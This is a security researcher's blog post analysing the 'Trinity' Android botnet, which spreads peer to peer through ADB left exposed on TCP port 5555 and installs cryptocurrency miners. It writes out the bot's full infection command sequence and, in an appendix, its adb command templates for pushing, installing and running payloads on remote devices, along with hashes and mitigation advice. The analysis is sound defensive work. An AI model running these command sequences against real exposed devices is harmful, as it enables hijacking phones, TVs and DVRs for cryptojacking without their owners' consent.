Gabriel Cirlig
Sr. Software Engineer

Trinity - P2P Malware Over ADB

October 23, 2018 by Gabriel Cirlig

ADB - Trinity in Words

The Android Debug Bridge (ADB) is a protocol designed to keep track of both emulated and real phones/TVs/DVRs connected to a given host. It implements various commands designed to assist the developer (adb shell, adb push, and so on) in both debugging and pushing content to the device. This is usually done via an attached USB cable, with ample mechanisms of authentication and protection. Turns out though that by a simple adb command (adb tcpip <port>) sent to an already established connection (through USB for example), you can force your device to expose its ADB services over port 5555, after which you can use a simple adb connect <ip>:<port> to connect to your device via TCP. However, unlike the USB protocol, the TCP one does not have any kind of authentication and leaves the device prone to all kinds of attacks. Two of them are as follows:

  • adb shell <shell command> - allows a developer to run all kinds of commands on the connected device such as ls, wget and many others.
  • adb push <local file> <remote destination> - allows a developer to upload binaries from his own machine to the connected Android device.

Coupled together, these two API calls can allow complete control over the device (legitimate or not) as long as the port is exposed over the Internet. As of now, there are about 40000 devices ready to be harvested by any botnet maker (data readily available on Shodan):


From a glance, it looks like a quarter of them are OnePlus and Pixel phones with the rest distributed between DVRs and TVs. We can only assume a manufacturing process error (opening the port for a final round of automated QA and forgetting it open) or a human error (developers enabling the TCP/IP mechanism and again forgetting to turn it off) is the cause.

Infection Mechanism

The first step in the kill chain is a simple port scan. Once port 5555 is found exposed, the compromised devices issues a simple adb connect to the target via the method specified above. This facilitated by the built in adb binary compiled inside some Android builds (living off the land).


After a connection, the bot decides if the device is already infected by sending a couple of shell commands:

pm path com.ufo.miner

If it’s there, then the binary is not pushed via adb push. If not, it gets piped to the device, installed and then the original apk gets deleted. Following the install check, the bot checks if it also runs properly by a ps command:

ps | grep com.ufo.miner

Again, if it’s not running, it sends another shell command to put it back up:

am start -n com.ufo.miner/com.example.test.MainActivity

This procedure gets repeated for the main bot file (trinity), checking if the process is running and if not, pushing it to the device and starting it using nohup. An interesting thing to notice is that the attackers also push a nohup binary to facilitate a minimum level of persistence. In the end, the whole procedure looks like this on a clean device:

pm path com.ufo.miner

Miner APK gets pushed to the device.

pm install /data/local/tmp/ufo.apk

rm -f /data/local/tmp/ufo.apk

The following command won’t be sent if the APK wasn’t found running on the device.

ps | grep com.ufo.miner

am start -n com.ufo.miner/com.example.test.MainActivity

Checks if the bot is running;

ps | grep trinity

Three files are being pushed as part of the package: nohup, trinity and what looks like an obfuscated script (xor thingy???) with another miner. Again, the following commands won’t be sent if the miner is fine and dandy.

rm -rf /data/local/tmp/

chmod 0755 /data/local/tmp/nohup

chmod 0755 /data/local/tmp/trinity

/data/local/tmp/nohup su -c /data/local/tmp/trinity

/data/local/tmp/nohup /data/local/tmp/trinity

A Threat From Outer Space

The APK is pretty straightforward. It only contains a simple app that automatically starts an activity after each boot and a webview that loads a simple HTML with a javascript inside.



Main Activity that loads the JS miner

The miner doesn’t have any kind of persistence. It is first started when the initial deployment of the bot is done, and after each other boot through the BootBroadcastReceiver. Neither does it have any kind of limit to the mining intensity, so it will most probably use all of the available resources to mine.

Fortunately, a simple manual removal will be enough to get rid of it.



Manifest file and BroadcastReceiver used to automatically start the miner

Trinity - The Script, the Miner and the Bot

Some really weird binaries are also pushed as well together with the bot and the APK:


Notice the 127 random characters at the beginning of the file followed by a \x00. The files seem to be unpacked at runtime into another miner and a bash script, but unfortunately, we could not make the malware run on our local instance. The SHAs for them are 26e72314a3c85dcd726ce1119d35279cb252d296cbe95504addd948ad32da9cc, and a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437 respectively. Together with these files comes bundled a nohup (d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0) precompiled for ARM, which is used to ensure that the bot stays up after the shell session ends. The final piece of the puzzle comes in the form of the actual bot, trinity (71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5), which seems to propagate itself (coupled together with the other binaries) towards more unsuspecting victims. Doing a quick strings on it yields us all of the commands being pushed via ADB and a bit more.


I could not find any hardcoded IPs inside (for the C&C), which leads me to think that it distributes via a peer2peer method. It’s also pretty to see that it has a format string for building an IP address. This led us to believe that once a node is infected, it keeps scanning the internet for other peers to infect (and which will in turn infect others). The fact that our honeypots are getting exponentially increasing hits from this same specific strain of malware seems to correlate with this as well, validating the P2P model.

The cure

How do you destroy a botnet? By building another botnet, of course. Even before we started getting regular hits into our honeypots, another botnet was roaming around removing the files associated with this one. This excellent article covers FBOT, which uses a blockchain based DNS to communicate with its C&C and eradicate all of the major bots roaming around on Android devices. While there was a bit of confusion over what trinity was, in the end it’s worth considering if fighting fire with fire is actually worth it, as a device is re-infected a few hours after the cleaner botnet removed it.

The best solution would be blocking your 5555 ports and ensuring that your IoT devices are not front faced towards the Internet (or no port forwarding rules are being enabled on your router).


The Ixia BreakingPoint Application and Threat Intelligence (ATI) Subscription provides bi-weekly updates of the latest application protocols and attacks for use with Ixia test platforms.

Appendix A: How did we catch them?

The ADB system has 3 main components that we can speak of:

  1. The ADB server - This is a background process on the host machine that senses whenever you connect a new USB device or whenever an emulated device was started on the local machine. Its main task is to keep track of devices and multiplex the inbound and outbound packets.
  2. ADB daemon - Runs on the Android device and accepts connections from the ADB server (through USB for devices and TCP for emulators) and provide a few simple services for pushing commands to your Android machine.
  3. ADB command line client - Can be run from your local CLI and glues everything together. It first tries to find a server (or start one if none are found) and then based on the arguments passed start various services on your Android (i.e. for pushing data blobs and installing APKs).

For simplicity’s sake, both the server and the command line client are packed into a single binary blob (adb/adb.exe).


By emulating the phone’s ADB daemon I/O, I devised a low interaction honeypot that caught various samples over a period of a few months. Unlike exposing virtual machines to the world, this method doesn’t require any kind of reversion and provided me with the important details right from the get go (ip of the attacker, shell messages, dropped payloads and such). Stay tuned on more info on that.

Appendix B - Indicators of compromise

encrypted files








interesting strings

kill %s
ps | grep %s
%s %s
echo "uid=%d" >> /data/local/tmp/scan.txt
adb -s %s:5555 shell "am start -n %s"
adb -s %s:5555 shell "pm path %s"
adb -s %s:5555 shell "ps | grep %s"
adb -s %s:5555 get-state
adb connect %s
adb disconnect %s
adb disconnect
adb -s %s:5555 install %s
adb -s %s:5555 shell "chmod 0755 %s"
adb -s %s:5555 push %s %s
adb -s %s:5555 shell "%s %s"
adb -s %s:5555 shell "%s su -c %s"
adb -s %s:5555 shell "rm -rf /data/local/tmp/*"
pm install %s
pm uninstall %s
am start -n %s